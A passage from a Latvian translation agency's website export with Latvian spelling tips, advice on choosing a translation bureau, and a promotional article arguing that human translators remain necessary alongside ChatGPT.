šķīdināšanai izmantojām acitonu. Vai tomēr acetonu? Vārds “acetons” cēlies no latīņu “acetum” (etiķis), kam pievienota grieķu izskaņa “-ons”, kuru lieto ķīmisko vielu apzīmēšanai. Pārņemot latviešu valodā vārdu no citām valodām, ir pieņemts saglabāt tā izrunu un rakstību. Tiesa, runā šaurais “e” dažkārt mēdz tuvināties skaņai “i”, tomēr pareizi vārds “acetons” rakstāms ar patskani “e”. Tātad laboratorijas darbā šķīdināšanai izmantojām acetonu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā izvēlēties kvalitatīvu tulkošanas biroju? Skrivanek Baltic – profesionāli tulkojumi, notariāli apliecinājumi un valodu kursi. - Published: 2025-07-02 - Modified: 2025-07-02 - URL: https://skrivanek.lv/ka-izveleties-kvalitativu-tulkosanas-biroju/ - Kategorijas: Raksti - Translation Priorities: Optional Daži izmēģināti un pārbaudīti padomi, kā izvēlēties tulkošanas biroju Lai saņemtu labu tulkojumu, ir nepieciešams labs tulkotājs. Bet kur tādu atrast? Vienkāršākais veids, kā to izdarīt, ir sazināties ar tulkošanas biroju. Tie nodarbina valodu speciālistus, kuri kopā pārvalda desmitiem un pat simtiem pasaules valodu un spēj orientēties pat vissarežģītākajos tekstos. Bet kā izvēlēties īsto tulkošanas biroju un kam pievērst uzmanību, lai saņemtu profesionālu, precīzu un nevainojamu tulkojumu? Kā izvēlēties īsto tulkošanas biroju Vispirms ir vērts veikt nelielu izpēti un salīdzināt vairākus cenu piedāvājumus. Latvijas un starptautiskajā tirgū darbojas daudzi tulkošanas uzņēmumi, taču ne visi spēj garantēt kvalitatīvu un ātru apkalpošanu. Biroja lielumam nav izšķirošas nozīmes – arī nelielas komandas var paveikt lielisku darbu. Tomēr lielāki uzņēmumi, piemēram, Skrivanek Baltic, var piedāvāt plašāku valodu klāstu, lielāku projektu kapacitāti un stingrākas kvalitātes kontroles procedūras. Vai cena ir svarīgākais kritērijs? Lai gan tulkošanas cena ir būtisks faktors, tai nevajadzētu kļūt par vienīgo kritēriju. Tulkošana ir sarežģīts process, kas prasa profesionālas prasmes un precizitāti. Tāpēc svarīgāk ir vienoties par skaidriem nosacījumiem – cenu, izpildes termiņiem un kvalitātes garantijām, kā arī noskaidrot, vai tas būs cilvēktulkojums vai mašīntulkojums un vai tulkojumu pārlasīs dzimtās valodas runātājs. Profesionāli biroji, piemēram, Skrivanek Baltic, vienmēr piedāvā detalizētu cenas aprēķinu pirms darba uzsākšanas un nodrošina pārskatāmu projektu vadību visos posmos. Ir vairāki aspekti, kam pievērst uzmanību – kvalitātes garantijas, konfidencialitāte un jūsu personas datu drošība, ko birojs nodrošina un izceļ sagatavotāja cenu piedāvājumā. Tāpat silts ieteikums ir vienmēr iepriekš vienoties ne tikai par cenu, bet arī izpildes datumu. Ja tulkošanas birojs piedāvā precizēt galīgo cenu vai termiņu vēlāk, tas ir skaidrs brīdinājums klientam, ka tulkošanas darījums var nenoritēt gludi. Uzticību tulkošanas uzņēmumam vairo darba kvalitāte un atklāta saziņa ar klientiem. Labākie biroji noteikti neliks jums nepamatoti gaidīt un nekavējoties atbildēs uz pieprasījumiem. Tie parasti var arī pieņemt pasūtījumus dažādos formātos, sākot no drukātiem dokumentiem līdz elektroniskām versijām dažādos formātos, tostarp pat pilnām tīmekļa vietnēm. Šie biroji var arī organizēt ātru sūtījuma piegādi. Tie ņems vērā visus svarīgākos kritērijus, lai izvēlētos vispiemērotāko tulkotāju konkrētai tēmai. Viņi vienkārši parūpēsies par visu pasūtījumu, ietaupot jūsu laiku un nodrošinot nepieciešamo kvalitāti. Eksperti, profesionāļi, dzimtā valoda Ir vērts izvēlēties tulkošanas birojus, kuru piedāvājumā ir plašāks tulkošanas pakalpojumu klāsts, lai jums nebūtu jāvēršas pie dažādiem piegādātājiem dažādu tulkošanas darbu veikšanai. Protams, ir jāpiedāvā profesionāli tulkojumi, ko veic tulkotāji, kas specializējušies attiecīgajā jomā (būvniecībā, IT, mārketingā, medicīnā vai jurisprudencē), kā arī iespējai pasūtīt notariāli vai biroja apliecinātu tulkojumu tajā pašā birojā, izmantot tulku/tulkotāju pakalpojumus vai tulkot subtitrus audiovizuālajam saturam. Vadošie tulkošanas uzņēmumi aktīvi seko līdzi arī mūsdienu tehnoloģiju attīstībai un izmanto modernus valodu rīkus, lai padarītu tulkošanas darbu precīzāku, ātrāku un vienkāršāku. Daži biroji pat paši ir iesaistīti šo rīku izstrādē. Kvalitatīvs tulkojums nav iespējams bez pienācīgas korektūras, ko labos birojos vienmēr veic tās valodas, kurā tiek tulkots teksts, lietotāji, kuriem tā ir dzimtā valoda. E-veikali un pareizā reklāma īstajā laikā Mākslīgo intelektu plaši izmanto e-komercijā un digitālajā mārketingā. Noteikti būsiet pamanījuši, ka neilgi pēc tam, kad esat paviesojušies kāda zīmola interneta veikalā vai interneta pārlūkā meklējuši sev interesējošu preci, piedāvājumi it kā maģiski parādās uz jūsu Facebook, Instagram lentes. Progresīvākie veikali, kas izmanto MI risinājumus, gājuši vēl tālāk – piefiksējuši, ka esat iegādājušies, piemēram, jaunu viedtālruni, nākamajā reizē piedāvā tieši šim viedtālrunim paredzētus aksesuārus, viedpulksteni un citas kombinējamas preces, nevis vēl vienu tādu pašu tālruni. MI sniedz personalizētus ieteikumus cilvēkiem, pamatojoties uz iepriekšējiem meklējumiem un pirkumiem, vai citu uzvedību tiešsaistē. MI pielietojums tirdzniecībā ir ļoti plašs un ir ļoti nozīmīgs produktu optimizācijā, uzskaitē, loģistikas jomā utt. Skrivanek Baltic – vadošais tulkošanas birojs Latvijā Skrivanek Baltic ir viens no uzticamākajiem tulkošanas birojiem Rīgā, kas darbojas tulkošanas nozarē jau vairāk nekā 30 gadus. Mūsu uzņēmums ir daļa no starptautiskas uzņēmumu grupas ar birojiem dažādās pasaules vietās, un mēs specializējamies tulkošanas, lokalizācijas, terminoloģijas pārvaldības un valodu apmācības pakalpojumos. Mūsu klienti – gan privātpersonas, gan valsts un starptautiski uzņēmumi – novērtē precizitāti, kvalitāti un attieksmi, kādu nodrošinām ikvienā projektā. Tulkojumi vairāk nekā 110 valodās Skrivanek Baltic nodrošina profesionālus tulkojumus vairāk nekā 110 valodu kombinācijās, tostarp angļu, vācu, franču, lietuviešu, igauņu, krievu, ukraiņu, zviedru, spāņu, japāņu un daudzās citās valodās. Mēs pielāgojam saturu konkrētajam tirgum, kultūras kontekstam un jūsu auditorijai. Notariāli apliecināti tulkojumi un dokumentu legalizācija ar Apostille Mēs piedāvājam arī notariāli apliecinātus tulkojumus un dokumentu apliecināšanu ar Apostille. Tas ir būtiski gadījumos, kad tulkoti dokumenti tiek izmantoti ārvalstīs – piemēram, tiesās, universitātēs vai citās valsts vai pašvaldību iestādēs. Skrivanek Baltic nodrošina šos pakalpojumus ātri, profesionāli un atbilstoši katras valsts juridiskajām prasībām. Papildu pakalpojumi: subtitri, tulkošana uz vietas, lokalizācija Skrivanek Baltic piedāvā ne tikai rakstiskos tulkojumus, bet arī: secīgos tulkojumus sapulcēs, konferencēs, biznesa tikšanās un sinhrono tulkošanu, tostarp arī mutisko tulkošanu tiešsaistē; subtitru veidošanu un video satura lokalizāciju; mājaslapu, programmatūras un spēļu lokalizāciju; SEO un Google Ads, Meta Ads tulkošanas un lokalizācijas pakalpojumus. Tas ļauj jums saņemt visus valodu risinājumus vienuviet – bez nepieciešamības sadarboties ar vairākiem piegādātājiem. Mūsdienīgi valodu tehnoloģiju rīki un kvalitātes kontrole Skrivanek Baltic izmanto modernākos CAT rīkus (piemēram, Trados Studio, Phrase, CrowdIn, memoQ u. c. ), tulkošanas atmiņas, terminoloģijas datubāzes un citus valodu tehnoloģiskos risinājumus, kas ļauj nodrošināt konsekventu un ātru tulkošanu. Visi tulkojumi iziet dzimtās valodas redaktora pārbaudi, bet īpaši sarežģītiem tekstiem tiek piedāvāta arī stilistiskā rediģēšana. Kāpēc izvēlēties tieši Skrivanek Baltic? Vairāk nekā 30 gadu pieredze tulkošanas nozarē. Sertificēta kvalitātes vadības sistēma un 6 dažādi ISO sertifikāti. 100% datu aizsardzība un konfidencialitāte. Ātra saziņa un profesionāla klientu apkalpošana – cenu piedāvājums 15 minūšu laikā. Tulkojumi vairāk nekā 110 valodās. Pilns pakalpojumu klāsts – sākot no dokumentu tulkošanas līdz sarežģītu projektu lokalizācijai. Svešvalodu kursi privātpersonām, uzņēmumu darbiniekiem un arī skolēniem/studentiem. Meklējat uzticamu tulkošanas biroju Rīgā? Ja nepieciešami profesionāli tulkojumi, notariāli apliecināts tulkojums, dokumentu legalizācija ar Apostille vai jebkāda cita veida tulkošanas pakalpojumi, Skrivanek Baltic ir pareizā izvēle. Sazinieties ar mums jau šodien vai piesakies tiešsaistes konsultācijai, lai saņemtu kvalitatīvu medicīnisko tulkojumu vai pieteiktos medicīnas valodas kursiem. --- > ChatGPT tulkošanas kvalitāte: kāpēc tulkošanas biroji ir un būs svarīgi mākslīgā intelekta laikmetā! Cilvēka prasmes jāapvieno ar tehnoloģijām - Published: 2025-06-09 - Modified: 2025-06-13 - URL: https://skrivanek.lv/chatgpt-un-kvalitates-nodrosinasana/ - Kategorijas: Raksti - Translation Priorities: Optional ChatGPT tulkošanas kvalitātes nodrošināšana: kāpēc tulkošanas biroji joprojām ir un būs svarīgi Uzņēmuma "OpenAI" radītais ChatGPT ir izraisījis revolūciju valodas apstrādes jomā. Arvien biežāk uzņēmumi jautā, vai ChatGPT varētu aizvietot profesionālus tulkošanas pakalpojumu sniedzējus. Tādēļ ir svarīgi publiski runāt, kur šīs tehnoloģijas iespējas beidzas un kur sākas cilvēka pievienotā vērtība. Tā spēja radīt pārsteidzoši pārliecinošus tekstus par dažādām tēmām ir piesaistījusi pasaules uzmanību. Viens no tā daudzajiem lietojumiem ir automatizēta tulkošana vairāk nekā 100 valodās. Lai arī potenciāls ir daudzsološs, vai ChatGPT ir labs tulkotājs? Vai arī tas tomēr ir saistīts ar zināmiem riskiem? Lai nodrošinātu konfidenciālus, kvalitatīvus un niansētus tulkojumus un citus valodu pakalpojumus, kas precīzi atspoguļo iecerēto nozīmi, profesionālu tulkošanas un valodu pakalpojumu sniedzēju cilvēciskā iesaiste joprojām ir nenovērtējama. ChatGPT tulkošanai: pārsteidzošs sasniegums valodas mākslīgā intelekta jomā ChatGPT ir nozīmīgs progress lielo valodas modeļu spējās. Izstrādāts ar pastiprinošu mācīšanos no cilvēku atgriezeniskās saites, tas spēj veidot dabiskas sarunas, atbildot uz brīvi formulētiem jautājumiem savu mācību ietvaros. Tas ietver jēdzienu apkopošanu, atbilžu sniegšanu uz papildjautājumiem, eseju veidošanu un teksta ģenerēšanu par noteiktām tēmām un stiliem. Galvenais ieguvums ir tas, ka ChatGPT pārvalda vairāk nekā 100 valodas. Tas spēj pārsteidzoši prasmīgi tulkot tekstu no dažādām valodām. Sistēma veido pilnīgus teikumus ar pareizu gramatiku un sintaksi, vienlaikus saglabājot kontekstuālo nozīmi. Mākoņtehnoloģiju dēļ tā tulkošanas ātrums un apjoms, ko tas var sasniegt, ievērojami pārsniedz cilvēka spējas. Tomēr, kā jau jebkuram mašīnmācīšanās modelim, arī ChatGPT piemīt ierobežojumi: Sistēmai trūkst zināšanu par reālo pasauli un kultūras izpratnes, tāpēc tulkojumi ir neprecīzi vai nepiemēroti, lielie valodu modeļi tiek trenēti ar miljardiem tīmekļa lapu, kas tiek atlasītas ar īpašiem filtrēšanas algoritmiem. Teksta smalkās nianses un netiešās nozīmes bieži vien tiek pazaudētas tulkojumā, tas nav uzrunājošs un ir “sintētisks”. Tā ģeneratīvais raksturs nozīmē, ka tulkojumos var parādīties mākslīgi izdomāts saturs, vai tikpat labi mērķa valodas teksta tulkojums var tik saīsināts, jo praksē ChatGPT joprojām nav prasmīgs ar liela apjoma datnēm. Tonalitāte, terminoloģija un rakstības stils var nebūt konsekventi garākos tulkojumos. Lai gan ChatGPT izmantošana tulkošanā ir nozīmīgs sasniegums mākslīgā intelekta jomā, profesionāla cilvēku uzraudzība joprojām ir būtiska, lai nodrošinātu kvalitatīvus, cilvēkam adresētus, tulkojumus, īpaši attiecībā uz sensitīvu un vērtīgu saturu. Cilvēku zināšanas aizpilda būtiskas nepilnības sistēmas darbībās. Profesionālu tulkošanas biroju būtiskā loma Profesionāli tulkotāji Skrivanek Baltic komandā sniedz prasmes, kas ir būtiskas kvalitatīviem un precīziem tulkojumiem. Skrivanek Baltic – tulkošanas birojs Rīgā – nodrošina: reģionālās kultūras un valodas nianšu zināšanas; izpratni par kontekstu un konotācijām; pieredzējušus valodniekus; stingru daudzpakāpju kvalitātes kontroli; klienta stila un terminoloģijas pielāgošanu; atbildīgu rīcību ar konfidenciāliem datiem. Šīs priekšrocības kompensē ChatGPT trūkumus būtiskās jomās. Kopā viņi nodrošina tulkojumus, kas patiesi atsaucas uz mērķauditoriju. Lokalizācijas ekspertīze: pielāgošanās kultūrai Skrivanek Baltic tulkotāji saprot kultūras nianses, sabiedrības gaidas un jūtīguma aspektus. Viņi prasmīgi pielāgo valodu un piemērus, lai tie atbilstu vietējam kontekstam, izvairoties no kļūdām, ko mākslīgais intelekts varētu pieļaut. Katram pasaules reģionam ir unikālas kultūras iezīmes, idiomas, humors, paražas, vēlmes un aizspriedumi. Tikai cilvēka niansēta uztvere spēj saskatīt dažkārt ļoti smalkās īpatnības. Teksts, kas vienā kultūrā ir saistošs vai nekaitīgs, citur var izraisīt neparedzētu aizvainojumu vai apjukumu, ja nav prasmīgi lokalizēts. Piemēram, noteiktām krāsām, žestiem vai mitoloģiskiem elementiem dažādos reģionos var būt gan pozitīva, gan negatīva nozīme. Piemēram, balta krāsa rietumu kultūrā simbolizē tīrību, bet dažās Āzijas valstīs tā saistās ar nāvi un sērām, tādējādi būtu jāpielāgo stilistiskie izteicieni atbilstoši. Vārds “gift” vācu valodā nozīmē ‘inde’, bet angļu valodā – ‘dāvana’ – mākslīgais intelekts var pārprast tekstu un domāt, ka vācu valodas tekstā ir ievietots angļu valodas vārds un tulkot tā anglisko nozīmi. Tikai cilvēku kultūrvēstures zināšanas ļauj konsekventi nodrošināt mērķauditorijai pielāgotus tulkojumus, kuros ir ņemta vērā kultūru īpatnības. ChatGPT trūkst šīs iedzimtās kultūras intuīcijas. ChatGPT tulkojumu izskaitļo, kamēr cilvēks to izjūt. Kontekstuālo norāžu atpazīšana Cilvēka izziņas spējas ir lieliskas kontekstuālo norāžu atpazīšanā, humora izpratnē un niansētu nodomu uztverē − pat tad, ja tie ir tieši vai netieši izteikti. Cilvēkiem ir dabiski lasīt starp rindiņām, runāt žestos un raidīt ķermeņa signālus, kas ir daļa no komunikācijas. Profesionāli tulkotāji izmanto šo iedzimto spēju, kamēr mākslīgā intelekta sistēmas bieži apmulst neskaidrību gadījumā. Cilvēkiem, interpretējot tekstu, ir arī praktiska reālās dzīves pieredze. Viņi izvairās no nepareiziem pieņēmumiem, ko ChatGPT varētu izdarīt neskaidras valodas vai nepazīstamu situāciju gadījumā. Cilvēka iesaiste nodrošina, ka tulkojumā precīzi tiek atspoguļots oriģinālteksta gars un nolūks. Daudzpakāpju kvalitātes kontrole Veidojot lielu apjomu tulkota teksta, kļūdas ir neizbēgamas. Tomēr stingras ISO standartu prasībām atbilstošas kvalitātes kontroles procedūras būtiski samazina kļūdu iespējamību, iekļaujot vairāku līmeņu cilvēka veiktu pārbaudi un labojumus. Tulkošanas biroji izmanto iteratīvus procesus, piemēram: vairāki sertificēti, atbilstošu izglītību un pieredzi ieguvuši tulkotāji sagatavo, savstarpēji pārbauda un precizē tulkojumus; redaktori rūpīgi pārskata pabeigtos tulkojumus; atpakaļ tulkojums, lai pārbaudītu tulkojuma precizitāti un konsekvenci; tulkojumu testēšana kopā ar mērķauditorijas pārstāvjiem, kuriem tā ir dzimtā valoda; atsauksmju un ieteikumu iekļaušana, lai uzlabotu tulkojumus. Šis cikls, kurā notiek teksta sagatavošana, sistemātiska pārbaude, ko veic profesionāļi, un labošana, nodrošina īpaši augstas kvalitātes tulkojumus bez mākslīgā intelekta kļūdām. Papildus cilvēka pārbaudei tulkošanas biroji izmanto tulkošanas atmiņas un terminoloģijas rīkus, kas palīdz saglabāt stila un terminu vienotību visos attiecīgā klienta projektos. Skrivanek Baltic īsteno šo daudzpakāpju kvalitātes kontroli, ievērojot augstākos standartus un ISO 9001, ISO 14001, ISO 17100, ISO/IEC 27001 un ISO 18587 prasības. Specializētas zināšanas šaurās nozarēs Atsevišķās nozarēs nepieciešamas padziļinātas zināšanas par ļoti specifisku terminoloģiju un temata niansēm. Kā zināms, terminoloģija laika gaitā arī mainās, tiek precizēta. Piemēram: juridiskie dokumenti (līgumi, pilnvaras, politikas un noteikumi) prasa ļoti korektu vietējos vai ES normatīvajos aktos un judikatūrā lietotās terminoloģijas izmantošanu; patentu jomā ir nepieciešama teicama izpratne par tehnisko žargonu un zinātniskiem jēdzieniem; medicīniskajam saturam nepieciešamas zināšanas anatomijā, ārstēšanas metodēs un veselības stāvokļos. To pašu var teikt arī par citiem specifiskiem pakalpojumu veidiem, piemēram, subtitrēšanu, transkribēšanu vai tehnisko tulkojumu. Iedomāsimies tiesas sēdi, kurā puses aizrautīgi debatē pārkliedzot vien otra, un jums šis ieraksts ir jātranskribē, un vai ChatGPT ar šo uzdevumu tiks galā? Vai Jums ir jāatšifrē nesalasāms rokraksts? Bez cilvēka iesaistes šie uzdevumi nav izdarāmi. Pieredzējuši lingvisti specializējas šajās sarežģītajās nozarēs, lai precīzi tulkotu konkrētai nozarei atbilstošus tekstus. Neviens vispārēja profila mākslīgais intelekts nespēj līdzināties viņu specializētajai precizitātei visās dzīves jomās. Cilvēka iesaiste: radošums un emocionālā rezonanse Pat, ja jums šķiet, ka tulkojums ir pilnīgi precīzs, tam var trūkt cilvēcīguma, kā mēs to sakām “dvēseles”. Ko tas nozīmē? Burtiskais tulkojums ir pareizs, taču netiek sasniegts vēstījuma mērķis un auditorijai jūsu ziņa nešķiet iesaistoša un uzrunājoša, interese par jūsu produktu vai pakalpojumu sarūk. Skrivanek Baltic nodrošinātā reklāmu un mārketinga tekstu uzlabošana palīdzes pārliecināties, ka tekstā lietotās frāzes, vārdu izvēle un teikumu uzbūve, lasītājam ir viegli uztverama, šķiet, ir sirsnīga un saistoša. Cilvēka ieguldījums teksta tonalitātē piešķir tam raksturu, emocionālo noskaņu un dzīvīgumu. Šis empātiskais aspekts padara saturu atmiņā paliekošu un emocionāli spēcīgāku auditorijai. Mākslīgais intelekts nespēj apzināti pieņemt šādus niansētus lēmumus, lai radītu emocionālu noskaņojumu, jo tehnoloģijām empātija nepiemīt. Pielāgošana un vienots zīmola stils Profesionāli tulkošanas biroji pielāgo tulkojumus atbilstoši klienta zīmola identitātei un stila vadlīnijām. Konsekventa zīmola stila un toņa uzturēšana tulkotajā saturā palielina atpazīstamību. Tulkošanas biroji var pielāgot terminoloģiju, teikumu struktūru, vietniekvārdus un citus elementus, lai tie precīzi atbilstu noteiktajām korporatīvā vai produktu stila prasībām. Mākslīgā intelekta veidotajos tulkojumos var trūkt šīs stila konsekvences, kas ir būtiskas, lai klientu produkti būtu izsmalcināti un atbilstu zīmolam. Atbildīga datu drošība Daudziem klientiem konfidenciālas informācijas aizsardzība ir ļoti svarīga, kad viņu dati tiek apstrādāti tulkošanas procesā. Skrivanek Baltic ir atzīts par vienu no uzticamākajiem tulkošanas uzņēmumiem datu aizsardzības jomā, ievērojot ISO 27001 un citus drošības standartus, kā arī datu konfidencialitātes un drošības prasības, tostarp: konfidenciālu datu šifrēšana tranzītā un miera režīmā; piekļuves kontrole, minimālo privilēģiju principi un personāla pārbaude; saistoši informācijas neizpaušanas līgumi ar visiem tulkotājiem un darbiniekiem; ierobežots datu glabāšanas ilgums; droša mākoņa infrastruktūra un aparatūras drošības risinājumi atbilstoši ES datu drošības regulējumiem. Šie kontroles mehānismi novērš nesankcionētu piekļuvi vai noplūdi visos posmos. Tā kā ChatGPT ir mākoņplatforma, tā piedāvā ierobežotu pārredzamību attiecībā uz datu apstrādes iekšējiem procesiem. Skrivanek Baltic ir seši dažādi ISO sertifikāti, kas apliecina mūsu profesionalitāti un kvalitātes standartu ievērošanu: ISO 9001 – kvalitātes un vides vadības sistēmas standarts; nodrošina, ka uzņēmums konsekventi spēj sniegt augstas kvalitātes pakalpojumus, atbilstoši klientu un normatīvo aktu prasībām. ISO 14001 – vides vadības sistēmas standarts; apliecina uzņēmuma apņemšanos mazināt negatīvo ietekmi uz vidi un sekmēt ilgtspējīgu darbību. ISO 17100 – tulkošanas pakalpojumu kvalitātes standarts; nosaka prasības profesionāliem tulkošanas pakalpojumiem, tostarp tulkotāju kvalifikācijai, procesu kvalitātei un tulkojumu pārbaudei. ISO/IEC 27001 – informācijas drošības vadības sistēmas standarts; apliecina, ka uzņēmums efektīvi pārvalda un aizsargā klientu un uzņēmuma datus pret nesankcionētu piekļuvi un noplūdēm. ISO 18587 – mašīntulkoto tekstu pēcapstrādes vadības sistēmas standarts; nosaka prasības cilvēka veiktai mašīntulkojumu pārskatīšanai, lai nodrošinātu kvalitāti un atbilstību klienta prasībām. ISO 13485 – medicīnas iekārtu kvalitātes vadības sistēmas standarts; nodrošina augstāko kvalitāti un atbilstību regulējumiem, kas nepieciešami medicīnas ierīču un ar tām saistīto pakalpojumu (piemēram, medicīnisko tulkojumu) nodrošināšanai. Secinājumi ChatGPT ir ievērojams sasniegums dabiskās valodas mākslīgā intelekta jomā ar plašu un daudzsološu potenciālu. Tā spēja automatizēt neapstrādātu tulkojumu nodrošina ievērojamu efektivitātes pieaugumu. Tomēr, strādājot ar saturu, kam ir liela nozīme, cilvēku zināšanas aizpilda būtiskas nepilnības. Skrivanek Baltic piedāvā specializētus lingvistus, sistemātisku kvalitātes kontroli, radošu izsmalcinātību un atbildīgu datu apstrādi. Apvienojumā ar ChatGPT tulkošanas iespējām šī pieeja līdzsvaro automatizācijas priekšrocības ar cilvēka stiprajām pusēm. Šāda hibrīda pieeja klientiem nozīmē ātrāku apstrādi, izmaksu efektivitāti un vienlaikus nemainīgi augstu kvalitāti. Lai iegūtu nevainojamus rezultātus, kas pielāgoti vietējai kultūrai un mērķauditorijai, cilvēciska pieeja nodrošina tulkojuma izcilību tur, kur ar mākslīgo intelektu vien nepietiek. Pārdomātas organizācijas izvēlēsies hibrīda modeļus, lai maksimāli izmantotu abu modeļu priekšrocības. Ar ētisku pārraudzību ChatGPT sola būtiski paplašināt piekļuvi zināšanām, pārvarot valodas barjeras, kā vēl nekad agrāk. Skrivanek Baltic ir viens no Baltijas reģiona vadošajiem tulkošanas un lokalizācijas pakalpojumu sniedzējiem ar vairāk nekā 30 gadu pieredzi un ISO 17100 un ISO 27001 sertifikātiem. Uzņēmuma komanda nodrošina visaugstāko kvalitāti, pielāgojot katru projektu klienta specifiskajām vajadzībām un vietējā tirgus prasībām. --- > Konsilijs vai konsīlijs – kā ir pareizi? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-05-28 - URL: https://skrivanek.lv/konsilijs-vai-konsilijs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional konsilijs vai konsīlijs 1 Lai lemtu par turpmāko ārstēšanu, tika sasaukts ārstu konsilijs. Vai tomēr konsīlijs? Arī valodniekiem ne vienmēr ir viegli vienoties par to, kā tad pareizāk atveidot un rakstīt svešvārdus. Dažkārt gadās vārdi, kuru rakstība vairākkārt mainījusies. Vārds “konsīlijs” tam ir lielisks piemērs. Agrāk to rakstīja ar garo “ī”, taču tad vārda pareizrakstību pārskatīja – 2007. gadā pat tika pieņemti grozījumi Ārstniecības likumā, kas paredzēja vārdu “konsīlijs” aizstāt ar “konsilijs”. Tomēr, laikam ejot un atkārtoti analizējot vārda pareizrakstību, 2021. gada 8. septembrī Latviešu valodas ekspertu komisija lēma, ka svešvārds konsīlijs turpmāk rakstāms ar garo patskani “ī”, jo tādējādi atveide ir tuvāka oriģinālvalodai (latīņu – consilium). Tātad, ja gribam ievērot pareizrakstību atbilstoši jaunākajiem lēmumiem, sasauksim ārstu konsīliju. Kas zina, varbūt kādreiz tas atkal mainīsies. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Antibakteriāls vai antibaktriāls, vai antibaktreāls – kā ir pareizi? Ieskaties, šis un citi noderīgi latviešu valodas padomi vienuviet! - Published: 2025-05-28 - Modified: 2025-05-28 - URL: https://skrivanek.lv/antibakterials-vai-antibaktrials-vai-antibaktreals/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional antibakteriāls vai antibaktriāls, vai antibaktreāls 1 Baktēriju iznīcināšanai lietosim antibaktreālu, antibaktriālu vai antibakteriālu līdzekli? Svešvārdu pareizrakstība nereti ir mulsinoša. Turklāt runājot skaņas mēdz saplūst, mainīties vai neatskanēt. Tieši tā notiek arī ar vārdu “antibakteriāls”, kuru izrunājot burts “e” tikpat kā nav dzirdams, ja vien runātājs tam nepievērš īpašu uzmanību. Taču, latviešu valodā atveidojot svešvārdus, pieturas pie to oriģinālās rakstības un izrunas, cik vien tas ir iespējams. Tātad aptiekā iegādāsimies antibakteriālu līdzekli, lai samazinātu baktēriju daudzumu mājās. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Čia vai čija – kā ir pareizi? Ieskaties un uzzini! Šis un daudzi citi noderīgi latviešu valodas padomi par izplatītām 